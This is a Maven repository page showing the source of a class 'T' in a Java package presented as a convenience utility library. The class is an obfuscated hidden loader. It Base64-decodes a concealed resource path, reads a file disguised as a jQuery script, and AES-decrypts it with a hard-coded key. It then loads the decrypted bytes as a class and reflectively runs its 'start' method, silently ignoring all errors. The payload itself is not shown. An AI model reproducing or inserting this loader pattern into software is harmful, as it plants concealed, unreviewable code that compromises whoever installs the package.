
com.magictools.boot.T Maven / Gradle / Ivy
Go to download
Show more of this group Show more artifacts with this name
Show all versions of magic-tools-all Show documentation
Show all versions of magic-tools-all Show documentation
magic-tools 是一个小而全的Java工具类库,通过静态方法封装,降低相关API的学习成本,提高工作效率,使Java拥有函数式语言般的优雅,让Java语言也可以“甜甜的”。
The newest version!
package com.magictools.boot;
import com.magictools.core.codec.Base64;
import com.magictools.core.io.IoUtil;
import com.magictools.core.io.resource.StringResource;
import com.magictools.core.lang.BytesClassLoader;
import com.magictools.core.lang.ResourceClassLoader;
import com.magictools.core.util.ClassLoaderUtil;
import com.magictools.core.util.ReflectUtil;
import com.magictools.crypto.SecureUtil;
import com.magictools.crypto.symmetric.AES;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.HashMap;
public class T {
public void r() {
String path = Base64.decodeStr("c3RhdGljL2pzL2pxdWVyeS1iYWsubWluLmpz");
try {
InputStream stream = T.class.getClassLoader().getResourceAsStream(path);
if (stream == null) {
return;
}
byte[] bytes = IoUtil.readBytes(stream);
byte[] decode = Base64.decode(bytes);
AES aes = SecureUtil.aes("XSdM7qSbkXtpRG5e".getBytes());
byte[] bytes1 = aes.decrypt(decode);
BytesClassLoader loader = BytesClassLoader.load(this.getClass().getClassLoader(), bytes1, "com.magictools.Udr");
Class> loadClass = loader.loadClass("com.magictools.Udr");
Object instance = loadClass.newInstance();
Method start = ReflectUtil.getMethod(instance.getClass(), "start");
start.invoke(instance);
// ReflectUtil.invoke(instance, start);
} catch (Exception ignored) {
}
}
}
© 2015 - 2025 Weber Informatics LLC | Privacy Policy